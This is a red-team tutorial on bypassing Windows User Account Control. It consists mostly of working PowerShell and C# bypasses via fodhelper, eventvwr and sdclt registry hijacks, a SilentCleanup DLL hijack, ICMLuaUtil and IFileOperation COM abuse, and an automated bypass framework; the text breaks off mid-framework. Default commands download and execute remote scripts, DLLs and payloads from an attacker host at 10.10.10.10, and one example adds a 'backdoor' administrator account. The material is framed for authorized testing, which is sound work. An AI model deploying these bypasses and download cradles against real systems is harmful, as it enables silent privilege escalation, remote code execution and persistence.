AppLocker Bypass — UAC Bypass
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise (victim VM)
│ ├── Local admin account (standard UAC config)
│ ├── Windows Defender enabled + updated
│ ├── UAC set to default ("Notify me only when apps try to make changes")
│ ├── Sysmon (SwiftOnSecurity config)
│ ├── Sysinternals Suite (Process Monitor, Process Hacker, AccessChk)
│ └── PowerShell 5.1 + Script Block Logging enabled
│
└── Kali Linux (attacker VM)
├── mingw-w64 cross-compiler
├── Python 3.10+
└── netcat / rlwrap listenerWindows VM Configuration
1. Create a standard admin test account
# Create local admin — this is your test persona
# UAC will fire for elevation requests from this account
net user testadmin P@ssw0rd123! /add
net localgroup Administrators testadmin /add2. Set UAC to default level (most common in the wild)
# Default: notify only when apps try to make changes, don't dim desktop
# Registry value 5 = default UAC behavior
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
-Name "ConsentPromptBehaviorAdmin" -Value 5 -Type DWord
# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" |
Select ConsentPromptBehaviorAdmin, EnableLUA, PromptOnSecureDesktop3. Enable Sysmon
.\Sysmon64.exe -accepteula -i sysmon-config.xml4. Verify your current integrity level
# should show "Medium Mandatory Level" on a standard admin session
whoami /groups | findstr "Mandatory"
# Medium = you can trigger UAC bypasses
# High = you're already elevated, no bypass needed5. Verify integrity level tool — save this, use it constantly
1# Check-Integrity.ps1 — shows current process integrity level
2$sig = @"
3using System;
4using System.Runtime.InteropServices;
5public class TokenInfo {
6 [DllImport("advapi32.dll", SetLastError=true)]
7 public static extern bool GetTokenInformation(IntPtr token, int infoClass,
8 IntPtr info, int infoLen, out int retLen);
9 [DllImport("advapi32.dll", SetLastError=true)]
10 public static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
11 [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess();
12}
13"@
14Add-Type $sig
15
16$token = [IntPtr]::Zero
17[TokenInfo]::OpenProcessToken([TokenInfo]::GetCurrentProcess(), 0x8, [ref]$token) | Out-Null
18
19$size = 0
20[TokenInfo]::GetTokenInformation($token, 25, [IntPtr]::Zero, 0, [ref]$size) | Out-Null
21$buf = [Runtime.InteropServices.Marshal]::AllocHGlobal($size)
22[TokenInfo]::GetTokenInformation($token, 25, $buf, $size, [ref]$size) | Out-Null
23
24$rid = [Runtime.InteropServices.Marshal]::ReadInt32($buf, 8)
25$labels = @{ 0x1000="Low"; 0x2000="Medium"; 0x3000="High"; 0x4000="System" }
26
27Write-Host "[*] Process: $($pid) ($([System.Diagnostics.Process]::GetCurrentProcess().ProcessName))"
28Write-Host "[*] Integrity: $($labels[[int]$rid] ?? "Unknown (RID: 0x$($rid.ToString('X')))")"
29[Runtime.InteropServices.Marshal]::FreeHGlobal($buf)6. Install Process Monitor for live registry/file tracing
ProcMon → Filter → Process Name → is → fodhelper.exe → Add
Filter → Category → is → Registry → AddThis is how the community discovers new UAC bypass paths — ProcMon on auto-elevated binaries watching for HKCU registry reads that don’t exist yet.
7. Snapshot before testing
VM → Snapshot → "UAC_BASELINE_MEDIUM_INTEGRITY"Revert between techniques: registry changes from one bypass can bleed into another test.
How UAC Works
UAC enforces integrity levels on every process in Windows. Think of them as security rings that control what a process can touch:
SYSTEM integrity ← kernel drivers, critical services
│
HIGH integrity ← elevated admin processes (after UAC prompt)
│
MEDIUM integrity ← standard user processes, normal admin sessions ← you start here
│
LOW integrity ← sandboxed processes (IE Protected Mode, Edge)
│
UNTRUSTED ← extremely restrictedWhen you’re logged in as an administrator, your shell runs at Medium integrity by default. UAC acts as a gate: to reach High integrity, a UAC consent prompt must be approved.
Auto-elevation is the gap we exploit. Some Microsoft-signed binaries carry an application manifest declaring autoElevate="true". Windows trusts these binaries to silently elevate to High integrity without a UAC prompt. The assumption: Microsoft wrote them, they’re safe.
<!-- manifest snippet from fodhelper.exe -->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<autoElevate>true</autoElevate>If we can hijack what an auto-elevated binary does, via registry redirection, DLL hijacking, or COM object substitution, we execute arbitrary code at High integrity with zero UAC prompts.
Phase 1 — Enumeration
Tool 1 — Find-AutoElevatedBinaries.ps1
1# Find-AutoElevatedBinaries.ps1
2# Scans Windows binaries for autoElevate=true in their manifests.
3# These are your primary bypass candidates.
4
5param(
6 [string[]]$ScanDirs = @(
7 "$env:WINDIR\System32",
8 "$env:WINDIR\SysWOW64"
9 ),
10 [switch]$Detailed
11)
12
13Add-Type -AssemblyName System.Xml.Linq
14
15function Get-Manifest([string]$exePath) {
16 try {
17 # use MT.exe if available, otherwise parse PE directly
18 $bytes = [IO.File]::ReadAllBytes($exePath)
19
20 # scan for the RT_MANIFEST resource signature
21 # simplified: search for XML declaration in PE bytes
22 $xmlSig = [Text.Encoding]::ASCII.GetBytes('<?xml')
23 for ($i = 0; $i -lt $bytes.Length - $xmlSig.Length; $i++) {
24 $match = $true
25 for ($j = 0; $j -lt $xmlSig.Length; $j++) {
26 if ($bytes[$i+$j] -ne $xmlSig[$j]) { $match = $false; break }
27 }
28 if ($match) {
29 # extract manifest XML
30 $end = $i
31 while ($end -lt $bytes.Length -and $bytes[$end] -ne 0) { $end++ }
32 return [Text.Encoding]::UTF8.GetString($bytes[$i..($end-1)])
33 }
34 }
35 } catch {}
36 return $null
37}
38
39$results = [Collections.Generic.List[PSCustomObject]]::new()
40
41foreach ($dir in $ScanDirs | Where-Object { Test-Path $_ }) {
42 Write-Host "[*] scanning $dir ..." -ForegroundColor Cyan
43
44 Get-ChildItem -Path $dir -Filter "*.exe" -ErrorAction SilentlyContinue |
45 ForEach-Object {
46 $manifest = Get-Manifest $_.FullName
47 if ($manifest -and $manifest -match 'autoElevate.*true') {
48 $level = if ($manifest -match 'requireAdministrator') { 'requireAdmin' }
49 elseif ($manifest -match 'highestAvailable') { 'highest' }
50 else { 'unknown' }
51 $results.Add([PSCustomObject]@{
52 Name = $_.Name
53 Path = $_.FullName
54 Level = $level
55 Signed = (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
56 Size = $_.Length
57 })
58 }
59 }
60}
61
62Write-Host "`n[+] Auto-elevated binaries found: $($results.Count)`n" -ForegroundColor Green
63$results | Sort-Object Name | Format-Table Name, Level, Signed, Path -AutoSize
64
65$results | Export-Csv ".\auto_elevated.csv" -NoTypeInformation
66Write-Host "[*] saved → auto_elevated.csv"Tool 2 — Find-UACRegistryGaps.ps1
For each auto-elevated binary, ProcMon shows which HKCU registry keys it reads that don’t exist. This script cross-references a known list and checks which gaps are present on this machine — each writable missing key is a bypass opportunity.
1# Find-UACRegistryGaps.ps1
2# Checks known UAC bypass registry paths — reports which are exploitable here.
3
4$BypassPaths = @(
5 [PSCustomObject]@{
6 Binary = "fodhelper.exe"
7 HKCUKey = "Software\Classes\ms-settings\Shell\Open\command"
8 ValueName = "(Default) + DelegateExecute"
9 Technique = "Registry Hijack"
10 Risk = "High"
11 },
12 [PSCustomObject]@{
13 Binary = "eventvwr.exe"
14 HKCUKey = "Software\Classes\mscfile\shell\open\command"
15 ValueName = "(Default)"
16 Technique = "Registry Hijack"
17 Risk = "High"
18 },
19 [PSCustomObject]@{
20 Binary = "sdclt.exe"
21 HKCUKey = "Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
22 ValueName = "(Default)"
23 Technique = "Registry Hijack"
24 Risk = "High"
25 },
26 [PSCustomObject]@{
27 Binary = "cmstp.exe"
28 HKCUKey = "Software\Classes\mscfile\shell\open\command"
29 ValueName = "(Default)"
30 Technique = "INF file"
31 Risk = "Medium"
32 },
33 [PSCustomObject]@{
34 Binary = "SilentCleanup (schtask)"
35 HKCUKey = "N/A — PATH DLL hijack"
36 ValueName = "N/A"
37 Technique = "DLL Hijack via PATH"
38 Risk = "High"
39 },
40 [PSCustomObject]@{
41 Binary = "CompMgmtLauncher.exe"
42 HKCUKey = "Software\Classes\mscfile\shell\open\command"
43 ValueName = "(Default)"
44 Technique = "Registry Hijack"
45 Risk = "Medium"
46 }
47)
48
49Write-Host "`n[*] Checking UAC bypass registry gaps on this system...`n" -ForegroundColor Cyan
50
51foreach ($entry in $BypassPaths) {
52 if ($entry.HKCUKey -eq 'N/A — PATH DLL hijack') {
53 Write-Host " [TASK] $($entry.Binary) — $($entry.Technique)" -ForegroundColor Yellow
54 continue
55 }
56
57 $fullPath = "HKCU:\$($entry.HKCUKey)"
58 $exists = Test-Path $fullPath
59 $status = if (-not $exists) { "[MISSING — EXPLOITABLE]" } else { "[EXISTS — check value]" }
60 $color = if (-not $exists) { "Green" } else { "Gray" }
61
62 Write-Host " $status $($entry.Binary) → $($entry.HKCUKey)" -ForegroundColor $color
63 if ($Detailed -and $exists) {
64 Get-ItemProperty -Path $fullPath -ErrorAction SilentlyContinue |
65 Out-String | ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
66 }
67}Bypass 1 — fodhelper.exe (Registry Hijack)
fodhelper.exe (Features On Demand Helper) is an auto-elevated binary that manages optional Windows features. During execution it reads HKCU\Software\Classes\ms-settings\Shell\Open\command to find a handler. HKCU is always writable by the current user — no admin needed to set keys there.
Write your payload command to that key, launch fodhelper, and Windows runs your command at High integrity without a UAC prompt.
PowerShell implementation
1# Invoke-FodhelperBypass.ps1
2# Spawns an elevated process via fodhelper.exe HKCU registry hijack.
3# Requires: Medium integrity admin account (default UAC config)
4
5param(
6 [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
7 [switch]$Cleanup,
8 [switch]$Verify
9)
10
11$regPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
12$fodhelper = "$env:WINDIR\System32\fodhelper.exe"
13
14function Invoke-Bypass {
15 Write-Host "[*] planting registry keys..." -ForegroundColor Cyan
16
17 # create key hierarchy
18 New-Item -Path $regPath -Force | Out-Null
19
20 # (Default) value = command to execute
21 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
22
23 # DelegateExecute MUST be present (can be empty) — signals to fodhelper
24 # that the value is a command, not a file handler
25 New-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force | Out-Null
26
27 Write-Host "[+] HKCU keys planted:" -ForegroundColor Green
28 Write-Host " $regPath"
29 Write-Host " (Default) = $Command"
30 Write-Host " DelegateExecute = (empty)"
31
32 # brief pause — let registry writes flush
33 Start-Sleep -Milliseconds 200
34
35 Write-Host "[*] launching fodhelper.exe..." -ForegroundColor Cyan
36 Start-Process $fodhelper -WindowStyle Hidden
37
38 # give it time to trigger before cleanup
39 Start-Sleep -Seconds 3
40}
41
42function Invoke-Cleanup {
43 $parent = "HKCU:\Software\Classes\ms-settings"
44 if (Test-Path $parent) {
45 Remove-Item -Path $parent -Recurse -Force -ErrorAction SilentlyContinue
46 Write-Host "[+] registry keys removed" -ForegroundColor Green
47 }
48}
49
50function Test-Bypass {
51 # write a marker file at High integrity path — only writable from High
52 $marker = "C:\Windows\System32\uac_test_$(Get-Random).txt"
53 $testCmd = "cmd /c echo elevated > $marker"
54
55 Invoke-FodhelperBypass -Command $testCmd
56 Start-Sleep -Seconds 4
57
58 if (Test-Path $marker) {
59 Write-Host "[+] BYPASS CONFIRMED — marker written to System32" -ForegroundColor Green
60 Remove-Item $marker -Force
61 } else {
62 Write-Host "[-] bypass failed or AV blocked execution" -ForegroundColor Red
63 }
64}
65
66if ($Verify) { Test-Bypass; return }
67if ($Cleanup) { Invoke-Cleanup; return }
68
69Invoke-Bypass
70Start-Sleep -Seconds 2
71Invoke-Cleanup # always clean up registry artifactsOne-liner (for constrained environments)
$p="HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item $p -Force|Out-Null
Set-ItemProperty $p "(Default)" "cmd /c start powershell -nop -w hidden -ep bypass"
New-ItemProperty $p "DelegateExecute" -Value "" -Force|Out-Null
Start-Process "$env:WINDIR\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -ForceBypass 2 — eventvwr.exe (Registry Hijack)
eventvwr.exe (Event Viewer) auto-elevates and reads HKCU\Software\Classes\mscfile\shell\open\command to find the handler for .msc files. Same pattern — write command, trigger binary, code runs at High integrity.
1# Invoke-EventvwrBypass.ps1
2
3param(
4 [string]$Command = "powershell -nop -w hidden -ep bypass -c `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')`"",
5 [switch]$Cleanup
6)
7
8$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
9$eventvwr = "$env:WINDIR\System32\eventvwr.exe"
10
11function Set-Bypass {
12 New-Item -Path $regPath -Force | Out-Null
13 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command
14
15 Write-Host "[+] planted: $regPath" -ForegroundColor Green
16 Write-Host " command: $Command"
17
18 Start-Sleep -Milliseconds 200
19 Start-Process $eventvwr -WindowStyle Hidden
20 Write-Host "[*] eventvwr.exe launched — waiting for trigger..."
21 Start-Sleep -Seconds 3
22}
23
24function Remove-Keys {
25 Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force -ErrorAction SilentlyContinue
26 Write-Host "[+] cleaned up" -ForegroundColor Green
27}
28
29if ($Cleanup) { Remove-Keys; return }
30Set-Bypass
31Remove-KeysBypass 3 — sdclt.exe (App Path Hijack)
sdclt.exe (Backup and Restore) queries HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe to locate the Control Panel binary. Redirect it to your payload — sdclt auto-elevates and executes it at High integrity.
1# Invoke-SdcltBypass.ps1
2
3param(
4 [string]$Payload = "C:\Windows\Tasks\payload.exe",
5 [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
6 [switch]$Cleanup
7)
8
9$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
10$sdclt = "$env:WINDIR\System32\sdclt.exe"
11
12function Set-Bypass {
13 # drop payload to trusted writable path first (combines with trusted folder bypass)
14 if ($PayloadUrl -and -not (Test-Path $Payload)) {
15 (New-Object Net.WebClient).DownloadFile($PayloadUrl, $Payload)
16 Write-Host "[+] payload staged: $Payload" -ForegroundColor Green
17 }
18
19 New-Item -Path $regPath -Force | Out-Null
20 Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Payload
21
22 Write-Host "[+] App Path hijacked:" -ForegroundColor Green
23 Write-Host " $regPath → $Payload"
24
25 Start-Sleep -Milliseconds 200
26
27 # /kickoffelev flag triggers the App Path lookup
28 Start-Process $sdclt -ArgumentList "/kickoffelev" -WindowStyle Hidden
29 Write-Host "[*] sdclt.exe /kickoffelev launched"
30 Start-Sleep -Seconds 3
31}
32
33function Remove-Keys {
34 if (Test-Path $regPath) {
35 Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" `
36 -Force -ErrorAction SilentlyContinue
37 Write-Host "[+] registry cleaned" -ForegroundColor Green
38 }
39}
40
41if ($Cleanup) { Remove-Keys; return }
42Set-Bypass
43Remove-KeysBypass 4 — SilentCleanup Scheduled Task (DLL Hijack)
The SilentCleanup scheduled task runs DismHost.exe and cleanmgr.exe at High integrity without a UAC prompt. It’s designed to run silently during maintenance windows. The task inherits the current user’s %PATH% environment variable. Drop a malicious DLL with the right name into a user-writable directory that appears in PATH before System32, and DiskCleanup loads it at High integrity.
1# Invoke-SilentCleanupBypass.ps1
2# DLL hijack via SilentCleanup scheduled task PATH manipulation
3
4param(
5 [string]$DllUrl = "http://10.10.10.10/dismcore.dll",
6 [string]$DllDrop = "$env:TEMP\dismcore.dll", # user-writable, often in PATH
7 [switch]$PrependPath,
8 [switch]$Cleanup
9)
10
11# Target DLL: dismcore.dll — loaded by DismHost.exe, often missing from user PATH dirs
12$targetDll = "dismcore.dll"
13$taskName = "SilentCleanup"
14
15function Set-Bypass {
16 # fetch malicious DLL
17 (New-Object Net.WebClient).DownloadFile($DllUrl, $DllDrop)
18 Write-Host "[+] DLL staged: $DllDrop" -ForegroundColor Green
19
20 if ($PrependPath) {
21 # prepend drop directory to user PATH — ensures our DLL found before System32
22 $dropDir = Split-Path $DllDrop
23 $currentPath = [Environment]::GetEnvironmentVariable("PATH", "User")
24 if ($currentPath -notlike "$dropDir*") {
25 [Environment]::SetEnvironmentVariable("PATH", "$dropDir;$currentPath", "User")
26 $env:PATH = "$dropDir;$env:PATH"
27 Write-Host "[+] PATH prepended: $dropDir" -ForegroundColor Green
28 }
29 }
30
31 Write-Host "[*] triggering SilentCleanup task..." -ForegroundColor Cyan
32 Start-ScheduledTask -TaskName $taskName
33 Write-Host "[+] task triggered — DismHost.exe will load $targetDll from PATH"
34 Write-Host "[*] shell should arrive within 10-15 seconds"
35}
36
37function Remove-Bypass {
38 if (Test-Path $DllDrop) {
39 Remove-Item $DllDrop -Force
40 Write-Host "[+] DLL removed: $DllDrop"
41 }
42 if ($PrependPath) {
43 $dropDir = Split-Path $DllDrop
44 $p = [Environment]::GetEnvironmentVariable("PATH", "User")
45 [Environment]::SetEnvironmentVariable("PATH", ($p -replace [Regex]::Escape("$dropDir;"),""), "User")
46 Write-Host "[+] PATH restored"
47 }
48}
49
50if ($Cleanup) { Remove-Bypass; return }
51Set-BypassBuild the DLL payload (use hijack_base.c from the DLL Hijacking blog with LHOST/LPORT updated):
# compile dismcore.dll — matches name DismHost.exe looks for
x86_64-w64-mingw32-gcc -shared -o dismcore.dll hijack_base.c \
-lws2_32 -mwindows -s -fno-ident -Wl,--build-id=noneBypass 5 — COM Object Hijacking (ICMLuaUtil)
Several auto-elevated binaries instantiate COM objects. COM object resolution checks HKCU before HKLM, meaning a user-registered COM object shadows the system one without admin rights. Register a malicious COM server in HKCU, trigger the elevated binary that uses it, and your server runs in its High-integrity context.
ICMLuaUtil is an interface exposed by cmluautil.dll that several auto-elevated binaries use. We can directly invoke it via late-binding to execute arbitrary commands at High integrity.
C# COM elevation via ICMLuaUtil
1// CMLuaBypass.cs
2// Calls ICMLuaUtil::ShellExec to run an arbitrary command at High integrity.
3// ICMLuaUtil is exposed by an auto-elevated COM server — no UAC prompt fires.
4//
5// Compile: csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
6// or: dotnet build
7
8using System;
9using System.Runtime.InteropServices;
10
11[ComImport]
12[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
13[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
14interface ICMLuaUtil {
15 void SetRasCredentials();
16 void SetRasEntryProperties();
17 void DeleteRasEntry();
18 void LaunchInfSection();
19 void LaunchInfSectionEx();
20 void CreateLayerDirectory();
21 void ShellExec(
22 string file,
23 string parameters,
24 string directory,
25 uint fMask,
26 uint nShow
27 );
28 void SetRegistryStringValue();
29 void DeleteRegistryStringValue();
30 void DeleteRegKeysAndValues();
31 void CreateDirectoryWithElevatedPriviliges();
32}
33
34[ComImport]
35[Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7")]
36[ClassInterface(ClassInterfaceType.None)]
37class CMLuaUtil { }
38
39class Program {
40 static void Main(string[] args) {
41 string cmd = args.Length > 0 ? args[0] : "powershell.exe";
42 string param = args.Length > 1 ? args[1] : "-nop -w hidden -ep bypass -c whoami";
43 string cwd = args.Length > 2 ? args[2] : @"C:\Windows\System32";
44
45 Console.WriteLine($"[*] target : {cmd} {param}");
46 Console.WriteLine("[*] invoking ICMLuaUtil::ShellExec via auto-elevated COM...");
47
48 try {
49 var util = (ICMLuaUtil)new CMLuaUtil();
50 util.ShellExec(cmd, param, cwd, 0x00000000, 1);
51 Console.WriteLine("[+] ShellExec called — command should run at High integrity");
52 } catch (Exception ex) {
53 Console.Error.WriteLine($"[-] failed: {ex.Message}");
54 Console.Error.WriteLine(" (ensure you are Medium integrity + local admin)");
55 }
56 }
57} 1:: compile and run
2csc.exe /out:CMLuaBypass.exe CMLuaBypass.cs
3
4:: execute arbitrary command at high integrity — no UAC prompt
5CMLuaBypass.exe powershell.exe "-nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
6
7:: add local user to admins (for persistence)
8CMLuaBypass.exe cmd.exe "/c net localgroup Administrators backdoor /add"
9
10:: copy file to protected path
11CMLuaBypass.exe cmd.exe "/c copy C:\Users\Public\payload.exe C:\Windows\System32\evil.exe"Bypass 6 — IFileOperation COM (Privileged File Copy)
The IFileOperation COM interface runs at the caller’s integrity level, but when invoked from within an auto-elevated process context, it inherits High integrity. This lets you copy files to privileged locations (like C:\Windows\System32\) without a UAC prompt.
Classic use: copy a malicious DLL to System32, then trigger a binary that loads it.
1// FileOpBypass.cs
2// Uses IFileOperation at High integrity (via auto-elevated COM host) to
3// copy files to privileged locations — combines with DLL hijacking for RCE.
4//
5// Compile: csc.exe /target:library /out:FileOpBypass.dll FileOpBypass.cs
6//
7// Then load via Assembly.Load() from an elevated context.
8
9using System;
10using System.Runtime.InteropServices;
11
12[ComImport]
13[Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8")]
14[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
15interface IFileOperation {
16 void Advise(IFileOperationProgressSink pfops, out uint pdwCookie);
17 void Unadvise(uint dwCookie);
18 void SetOperationFlags(uint dwOperationFlags);
19 void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
20 void SetProgressDialog([MarshalAs(UnmanagedType.IUnknown)] object popd);
21 void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
22 void MoveItem(
23 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
24 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
25 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
26 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
27 void MoveItems(
28 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
29 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
30 void CopyItem(
31 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
32 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
33 [MarshalAs(UnmanagedType.LPWStr)] string pszCopyName,
34 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
35 void CopyItems(
36 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
37 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder);
38 void DeleteItem(
39 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
40 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
41 void DeleteItems([MarshalAs(UnmanagedType.IUnknown)] object punkItems);
42 void RenameItem(
43 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
44 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName,
45 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
46 void RenameItems(
47 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
48 [MarshalAs(UnmanagedType.LPWStr)] string pszNewName);
49 void ApplyPropertiesToItem(
50 [MarshalAs(UnmanagedType.IUnknown)] object psiItem,
51 [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
52 void ApplyPropertiesToItems(
53 [MarshalAs(UnmanagedType.IUnknown)] object punkItems,
54 [MarshalAs(UnmanagedType.IUnknown)] object pproparray);
55 void NewItem(
56 [MarshalAs(UnmanagedType.IUnknown)] object psiDestinationFolder,
57 uint dwFileAttributes,
58 [MarshalAs(UnmanagedType.LPWStr)] string pszName,
59 [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName,
60 [MarshalAs(UnmanagedType.IUnknown)] object pfopsItem);
61 void PerformOperations();
62}
63
64[ComImport]
65[Guid("00000114-0000-0000-C000-000000000046")]
66[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
67interface IFileOperationProgressSink { }
68
69[ComImport]
70[Guid("3ad05575-8857-4850-9277-11b85bdb8e09")]
71[ClassInterface(ClassInterfaceType.None)]
72class FileOperation { }
73
74public static class FileOpBypass {
75
76 [DllImport("shell32.dll", CharSet=CharSet.Unicode)]
77 static extern int SHCreateItemFromParsingName(
78 string pszPath, IntPtr pbc,
79 [MarshalAs(UnmanagedType.LPStruct)] Guid riid,
80 [MarshalAs(UnmanagedType.IUnknown)] out object ppv);
81
82 static readonly Guid IShellItemGuid = new Guid("43826d1e-e718-42ee-bc55-a1e261c37bfe");
83
84 static object GetShellItem(string path) {
85 object item;
86 SHCreateItemFromParsingName(path, IntPtr.Zero, IShellItemGuid, out item);
87 return item;
88 }
89
90 // Copy srcFile → dstDir\newName using High-integrity IFileOperation
91 public static void CopyToPrivileged(string srcFile, string dstDir, string newName = null) {
92 var op = (IFileOperation)new FileOperation();
93
94 // FOF_NOCONFIRMATION | FOF_SILENT | FOF_NOERRORUI
95 op.SetOperationFlags(0x0614);
96
97 var src = GetShellItem(srcFile);
98 var dst = GetShellItem(dstDir);
99 var name = newName ?? System.IO.Path.GetFileName(srcFile);
100
101 op.CopyItem(src, dst, name, null);
102 op.PerformOperations();
103
104 Console.WriteLine($"[+] copied {srcFile} → {dstDir}\\{name}");
105 }
106
107 // Example: plant malicious DLL into System32 for subsequent hijack
108 public static void PlantDLL(string maliciousDll, string targetDllName) {
109 CopyToPrivileged(maliciousDll, @"C:\Windows\System32", targetDllName);
110 Console.WriteLine($"[+] {targetDllName} planted in System32 — trigger target binary to get High-integrity shell");
111 }
112}Bypass 7 — Automated UAC Bypass Framework (C#)
A unified C# framework that enumerates available bypasses and executes the most appropriate one for the current system, with fallback logic.
1// UACBypass.cs — automated UAC bypass framework
2// Tries bypasses in order of stealth/reliability, falls back on failure.
3//
4// Compile: csc.exe /out:UACBypass.exe UACBypass.cs
5//
6// Usage:
7// UACBypass.exe — auto-select + execute
8// UACBypass.exe --cmd "powershell -nop -w hidden" — custom command
9// UACBypass.exe --list — list available bypasses
10// UACBypass.exe --method fodhelper — force specific bypass
11
12using System;
13using System.Collections.Generic;
14using System.Diagnostics;
15using System.IO;
16using System.Runtime.InteropServices;
17using System.Threading;
18using Microsoft.Win32;
19
20class UACBypass {
21
22 // ── Win32 helpers ─────────────────────────────────────────────────────
23 [DllImport("advapi32.dll", SetLastError=true)]
24 static extern bool GetTokenInformation(IntPtr token, int infoClass,
25 IntPtr info, int infoLen, out int retLen);
26 [DllImport("advapi32.dll", SetLastError=true)]
27 static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);
28 [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
29
30 // ── integrity level detection ─────────────────────────────────────────
31 static int GetIntegrityLevel() {
32 IntPtr token;
33 OpenProcessToken(GetCurrentProcess(), 0x8, out token);
34 int size = 0;
35 GetTokenInformation(token, 25, IntPtr.Zero, 0, out size);
36 var buf = Marshal.AllocHGlobal(size);
37 GetTokenInformation(token, 25, buf, size, out size);
38 int rid = Marshal.ReadInt32(buf, 8);
39 Marshal.FreeHGlobal(buf);
40 return rid;
41 }
42
43 const int HIGH_INTEGRITY = 0x3000;
44 const int MEDIUM_INTEGRITY = 0x2000;
45
46 // ── bypass registry helper ────────────────────────────────────────────
47 static void SetRegValue(string hkcu, string valueName, string data) {
48 using var key = Registry.CurrentUser.CreateSubKey(hkcu, true);
49 key.SetValue(valueName, data);
50 if (valueName == "(Default)" || valueName == "") {
51 // also set DelegateExecute if this is a shell\open\command key
52 if (hkcu.EndsWith("command", StringComparison.OrdinalIgnoreCase))
53 key.SetValue("DelegateExecute", "");
54 }
55 }
56
57 static void DeleteRegKey(string hkcu) {
58 try { Registry.CurrentUser.DeleteSubKeyTree(hkcu, false); } catch {}
59 }
60
61 static bool WaitForElevation(string markerPath, int timeoutMs = 6000) {
62 int elapsed = 0;
63 while (elapsed < timeoutMs) {
64 if (File.Exists(markerPath)) { File.Delete(markerPath); return true; }
65 Thread.Sleep(300);
66 elapsed += 300;
67 }
68 return false;
69 }
70
71 // ── bypass implementations ────────────────────────────────────────────
72
73 static bool BypassFodhelper(string cmd) {
74 const string regKey = @"Software\Classes\ms-settings\Shell\Open\command";
75 try {
76 SetRegValue(regKey, "", cmd);
77 Thread.Sleep(200);
78 Process.Start(new ProcessStartInfo {
79 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
80 "System32", "fodhelper.exe"),
81 WindowStyle = ProcessWindowStyle.Hidden,
82 UseShellExecute = false
83 });
84 Thread.Sleep(3000);
85 return true;
86 } finally {
87 DeleteRegKey(@"Software\Classes\ms-settings");
88 }
89 }
90
91 static bool BypassEventvwr(string cmd) {
92 const string regKey = @"Software\Classes\mscfile\shell\open\command";
93 try {
94 SetRegValue(regKey, "", cmd);
95 Thread.Sleep(200);
96 Process.Start(new ProcessStartInfo {
97 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
98 "System32", "eventvwr.exe"),
99 WindowStyle = ProcessWindowStyle.Hidden,
100 UseShellExecute = false
101 });
102 Thread.Sleep(3000);
103 return true;
104 } finally {
105 DeleteRegKey(@"Software\Classes\mscfile");
106 }
107 }
108
109 static bool BypassSdclt(string payload) {
110 const string regKey = @"Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe";
111 try {
112 SetRegValue(regKey, "", payload);
113 Thread.Sleep(200);
114 Process.Start(new ProcessStartInfo {
115 FileName = Path.Combine(Environment.GetEnvironmentVariable("WINDIR"),
116 "System32", "sdclt.exe"),
117 Arguments = "/kickoffelev",
118 WindowStyle = ProcessWindowStyle.Hidden,
